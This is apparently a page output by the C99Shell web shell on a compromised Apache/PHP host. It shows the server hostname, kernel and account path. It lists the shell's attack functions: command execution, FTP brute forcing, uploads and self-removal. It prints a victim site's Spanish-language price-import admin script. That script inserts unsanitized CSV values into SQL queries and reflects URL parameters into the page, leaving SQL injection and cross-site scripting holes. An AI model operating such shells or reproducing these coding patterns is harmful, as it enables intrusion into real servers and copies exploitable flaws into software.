!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.27 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     importar-precios.php (9.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
$pagina_actual
="importar-precios";
$categoria_actual="gestion-productos";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

if (isset(
$_FILES["archivo"])){

    
$aux=explode(".",$_FILES["archivo"]["name"]);
    
$extension=$aux[count($aux)-1];

    if ((
$extension=="csv") || ($extension=="CSV")){
    
        
$nombre_archivo_temporal="ultimo-archivos-precios.csv";

        
$archivo $_FILES["archivo"]["tmp_name"]; 
        
$tamanio $_FILES["archivo"]["size"]; 
        
//$tipo    = $_FILES["archivo"]["type"]; 
        
$nombre  $_FILES["archivo"]["name"];

        
move_uploaded_file($archivo$nombre_archivo_temporal);

        
$fila 1;
        
$productos_actualizados=0;
        if ((
$gestor fopen("ultimo-archivos-precios.csv""r")) !== FALSE) {

            
$result=$mysqli->query("
            TRUNCATE precio_producto
            "
);  

            
$datos fgetcsv($gestor1000";");//ignoro la primer linea
            
while (($datos fgetcsv($gestor1000";")) !== FALSE) {
                
$fila++;            
                
$codigo_shope=$datos[0];
                
$codigo_shope_interno=$datos[1];            
                
$sku_individual=$datos[1];
                
$precio=$datos[5-1];
                
$precio_oferta=$datos[6-1];
                
$stock=$datos[7-1];
                
$stock_minimo=$datos[8-1];  
                
$envio_gratis=$datos[9-1];
                
                
$productos_actualizados++;

                
$result=$mysqli->query("
                INSERT INTO precio_producto (codigo, codigo_shope, sku_individual, precio, precio_oferta, stock, stock_minimo, envio_gratis) VALUES (
                '"
.$codigo_shope_interno."',
                '"
.$codigo_shope."',
                '"
.($sku_individual)."',
                '"
.($precio)."',
                '"
.($precio_oferta)."',
                '"
.($stock)."',
                '"
.($stock_minimo)."',
                '"
.($envio_gratis)."'
                )"
); 
                        
    
$result_prod=$mysqli->query("
    UPDATE producto SET
    envio_gratis='
$envio_gratis',
    fecha_modificacion=NOW()
    WHERE codigo='
$codigo_shope'
    "
);
           
           }
            
fclose($gestor);
        }
        
        
$precios_atributos=$mysqli->query("
        SELECT p.id, pp.codigo, MIN(NULLIF(pp.precio,0)) AS precio, MIN(NULLIF(pp.precio_oferta,0)) AS precio_oferta
        FROM precio_producto pp
        LEFT JOIN producto p ON p.codigo=pp.codigo_shope        
        GROUP BY p.id
        "
);
        
/*

        while ($item = mysqli_fetch_assoc($precios_atributos)){ 
            file_get_contents($url_actualizar_precios."&id_producto=".$item["id"]."&precio=".$item["precio"]."&precio_oferta=".$item["precio_oferta"]);   
            //echo $url_actualizar_precios."&id_producto=".$item["id"]."&precio=".$item["precio"]."&precio_oferta=".$item["precio_oferta"];
        }
        */

        //echo $productos_actualizados;   

        
header('Location: importar-precios.php?exito='.$productos_actualizados.' precios actualizados');

    } else {
        
header('Location: importar-precios.php?error=el archivo no es de formato CSV');
    }    
}
?><!DOCTYPE html>
<html lang="es">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Panel administrador</title>
    
    <? include('includes/tipografias.php');?>

    <!-- Bootstrap Core CSS -->
    <link href="bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- MetisMenu CSS -->
    <link href="bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="dist/css/sb-admin-2.css" rel="stylesheet">
    <link href="css/cds.css" rel="stylesheet" type="text/css">

    <!-- Custom Fonts -->
    <link href="bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body>

    <div id="wrapper">

        <!-- Navigation -->
        <? require('includes/nav.php');?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Gestión de precios</h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-12">
                                    <? if (isset($_GET["exito"])){?>
                                    <div class="alert alert-success alert-dismissable">
                                        <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>        
                                        <big><?=$_GET["exito"]?> <i class="fa fa-check-circle"></i> </big>
                                    </div>
                                    <? }?>
                                    <? if (isset($_GET["error"])){?>
                                    <div class="alert alert-danger alert-dismissable">
                                        <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>        
                                        <big><?=$_GET["error"]?> <i class="fa fa-times"></i> </big>
                                    </div>
                                    <? }?>
                                    <form role="form" method="post" enctype="multipart/form-data"> 
                                        
                                        <div class="form-group">
                                            <label class="hidden">Archivo de productos (<a target="_blank" href="excel-productos-precio.php">bajar archivo de productos actuales</a>)</label>
                                            <p><b>Importante: </b>el archivo debe estar codificado en Unicode (UTF-8) separado por punto y coma ";"</p>
                                            <label>Archivo de productos (<a target="_blank" href="excel-productos-precio2.php">bajar archivo de productos actuales</a>)</label>
                                            <input class="form-control" name="archivo" type="file">
                                        </div>                               
                                        
                                        <button name="submit" type="submit" class="btn btn-default">Importar</button>
                                        <button type="reset" class="btn btn-default">Reiniciar</button>
                                    </form>
                                </div>
                                <!-- /.col-lg-6 (nested) -->
                            </div>
                            <!-- /.row (nested) -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <button type="button" class="btn btn-info btn-lg hidden boton-modal-importando" data-toggle="modal" data-target="#myModal">Open Modal</button>

    <!-- Modal -->
    <div id="myModal" class="modal fade" role="dialog">
      <div class="modal-dialog">

        <!-- Modal content-->
        <div class="modal-content">
          <div class="modal-header">
            <button type="button" class="close" data-dismiss="modal">&times;</button>
            <h1 class="modal-title"><i class='fa fa-cog fa-spin'></i> Importando productos...</h1>
          </div>
          <div class="modal-body">
            <p>Espere mientras se realiza la importación</p>
            <p>Gracias.</p>
          </div>          
        </div>

      </div>
    </div>

    <!-- jQuery -->
    <script src="bower_components/jquery/dist/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="bower_components/bootstrap/dist/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="bower_components/metisMenu/dist/metisMenu.min.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="dist/js/sb-admin-2.js"></script>

    <script>
    $('form').on('submit', function(event) {

        $("form button[type=submit]").html("<i class='fa fa-cog fa-spin'></i> Trabajando...");
        $("form button[type=submit]").attr( "disabled", "disabled" ); 

        $(".boton-modal-importando").click();       

        //event.preventDefault();
    });  
    </script>

</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0015 ]--